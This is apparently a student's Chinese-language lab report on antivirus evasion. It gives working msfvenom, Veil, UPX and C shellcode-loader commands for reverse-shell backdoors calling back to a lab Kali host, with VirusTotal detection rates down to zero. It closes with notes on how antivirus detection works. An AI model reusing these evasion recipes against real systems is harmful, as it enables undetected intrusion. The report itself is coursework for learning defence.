Exp3-免杀原理与实践
一、实验环境
免杀测试平台:https://www.virustotal.com/
二、实践过程
2.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)
可以看到检出率为53/70,还是比较高的
2.2使用Unicode编码一次
生成代码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.146.133 LPORT=1324 -f exe > backdoor1.exe
检出率为54/70,可以看出比之前的后门程序还不如
2.3编码多次(刚开始我用的10,发现免杀效果比只一次编码效果还差,所以我多编码了几次,选了20次)
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
生成代码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -20 -b ‘\x00’ LHOST=192.168.146.133 LPORT=1324 -f exe > backdoor2.exe
参数意思:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数
以上是10次
以上是20次,也就只比10次的检出率低一丢丢,53/70
2.4利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.133 LPORT=1324 x> backdoor_php.php
哇,才22/57,非常的低了,基本都是我没见过的软件检查不出来
2.5利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f jar > backdoor_jar.jar
31/60,勉强还行吧,迈克菲也拉了,还好当初没花钱买
2.6veil,加壳工具实践
安装工具veil
安装命令行:sudo apt-get install veil-evasion
安这东西真的好累
安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
注意:先进入root模式
修改第260行换个库
修改成功后,veil等待安装,到这为止都算顺利,直到让我运行veil,我真的绷不住了
安装成功
使用veil工具(这里我卡了一天才在同学的帮助下完成)
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.146.133 //设置反弹链接ip,此处为Kali的ip
set LPORT 1324 //设置端口
generate
设置生成的文件(名称)
保存路径为/var/lib/veil/output/compiled/20191324veil.exe
40/70?我笑了,弄了半天的玩意儿就给我看这个?
2.7免杀加壳尝试
- 加壳是对相应的资源进行压缩,压缩后仍可运行。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 它可以用来保护版权,但同时许多病毒也利用它来作为原理。
加壳指令:upx 20191324veil.exe -o 20191324_veil_upx.exe
41/69,这也太拉了
2.8使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.133 LPORT=1324 -f c
编辑c文件
vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检出率:34/69,还算不错
2.9通过组合应用各种技术实现恶意代码免杀
- 利用python+aes_encrypt
- 打开veil,选择Evasion
list##寻找palyload
选择结束之后
use python/shellcode_inject/aes_encrypt.py
generate
选择2
给出相应的参数设置端口信息等,生成文件
哇哦!0的检出率,原理便是使用了数据加密的方式进行多次编译后门软件
三、附加题
使用veil生成木马文件,执行如下命令:
use Evasion
use 28
set LHOST 192.168.146.133
set LPORT 1324
generate
然后使用upx
对我生成的backdoor_py.exe
进行加壳
用火绒进行扫描,未发现风险(火绒版本:5.0.66.3)
执行命令行,开始攻击
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.146.133 //kali的IP
set LPORT 1324
exploit
运行后门软件
成功
四、基础问题
4.1 杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
4.2 免杀是做什么?
- 我认为就是通过一些技术手段,使安插在宿主主机中的后门软件不被杀毒软件所发现
4.3 免杀的基本方法有哪些?
- 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加;
- 加花指令:就是加一段垃圾代码,但是并不影响程序的正常执行,加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果;
- 再编译:如果有源代码可以使用其他语言重新编写再编译,或者利用已有的shellcode构造payload重新编译生成;
- 修改行为:尽量少做能被杀毒软件直接检测到的敏感行为,可以使用反弹式连接,或者减少对系统注册表之类的修改。
4.4 开启杀软能绝对防止电脑中恶意代码吗?
- 这种事绝对不可能,世上没有不透风的墙。
五、实验体会
这次实验是我耗时最久的一次实验,中间卡在veil的安装使用那,我试了各种办法,他给我报了各种错,要么没安装wine32,要么磁盘空间不足,要么无法从库接收克隆对象,又或者哪个文件夹找不到了
我甚至又重新安装了一个新的kali,也不行,而且直接登不进去了,我心态直接炸了,后面让大佬帮我换源,刚好早上又是各个地方的源在同步,只有用他的官方源,不过所幸终于成功了
通过这次试验,发现之前我们大多数时候可能都过度依赖于杀毒软件,觉得只要装了杀软就基本上不用愁了。虽然在很多时候杀毒软件还是能帮我们扫出很多病毒,但是通过这次实验我们也可以发现要想制作出免杀的病毒其实也并不难,因此,关键还是要提高自己的安全意识,除了杀软之外,我们也可以利用配置防火墙,监控注册表、端口等一些行为来保障我们计算机的安全